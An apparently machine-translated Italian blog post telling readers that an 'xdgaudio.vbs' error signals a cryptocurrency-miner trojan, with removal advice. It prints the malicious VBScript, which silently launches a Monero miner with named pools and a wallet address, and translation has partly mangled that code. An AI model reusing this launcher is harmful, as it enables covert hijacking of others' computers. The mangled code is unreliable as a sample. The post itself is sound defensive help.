Se ricevi il seguente messaggio di errore relativo a 'xdgaudio.vbs' nel tuo sistema, è molto probabile che il tuo computer sia infetto.
Script: C: windows xdgaudio.vbs
Linea: 3
Carattere: 1
Errore: il sistema non riesce a trovare il file specificato.
Codice: 80070002
Fonte: (null)
Quando viene modificato con Blocco note, lo script può contenere righe come quelle seguenti:
Dim WShell Set WShell = CreateObject ('WScript.Shell') WShell.Run 'wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o strato + tcp: //xmr-eu.dwarfpool.com: 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o strato + tcp: //mine.moneropool.com: 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x', 0 Imposta WShell = Nothing Questo sembra certamente un trojan Miner per CPU / criptovaluta che non solo rallenta il computer, ma può anche rappresentare una minaccia per la sicurezza. I file di script c: windows xdgaudio.vbs e c: windows servicecrsssr.vbs dovrebbe essere cancellato. Questo non è abbastanza. Esegui una scansione approfondita utilizzando l'antimalware Malwarebytes e scansiona anche con il software antivirus che stai utilizzando.
Per istruzioni dettagliate sulla rimozione di tale Miner Trojan, consultare la guida malwaretips.com Come rimuovere CPU Miner Trojan da Windows (Guida ai virus) .
Una piccola richiesta: se ti è piaciuto questo post, condividilo?
Una tua 'minuscola' condivisione aiuterebbe seriamente la crescita di questo blog. Alcuni ottimi suggerimenti:- Fissalo!
- Condividilo sul tuo blog preferito + Facebook, Reddit
- Tweet it!